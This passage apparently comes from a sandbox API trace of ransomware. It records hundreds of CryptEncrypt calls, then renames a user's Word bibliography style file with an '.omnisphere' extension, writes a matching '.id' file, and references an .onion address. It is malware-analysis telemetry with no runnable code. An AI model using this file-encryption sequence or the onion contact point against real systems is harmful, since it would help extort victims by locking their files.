Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.707] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.708] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.709] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.710] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.719] CryptDestroyKey (hKey=0x16395e8) returned 1 [0101.719] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0101.719] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x54256, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0101.719] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0101.720] GetProcessHeap () returned 0x1600000 [0101.720] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b2) returned 0x1686170 [0101.720] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl.omnisphere")) returned 1 [0101.728] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.omnisphere.id" [0101.728] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\turabian.xsl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.730] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0101.731] CloseHandle (hObject=0x3c0) returned 1 [0101.732] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0101.733] CloseHandle (hObject=0x288) returned 1 [0101.734] SetEndOfFile (hFile=0x28c) returned 1 [0101.734] FlushFileBuffers (hFile=0x28c) returned 1 [0102.047] CloseHandle (hObject=0x28c) returned 1 [0102.047] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 1 [0102.047] GetProcessHeap () returned 0x1600000 [0102.047] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1686430 [0102.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0102.047] 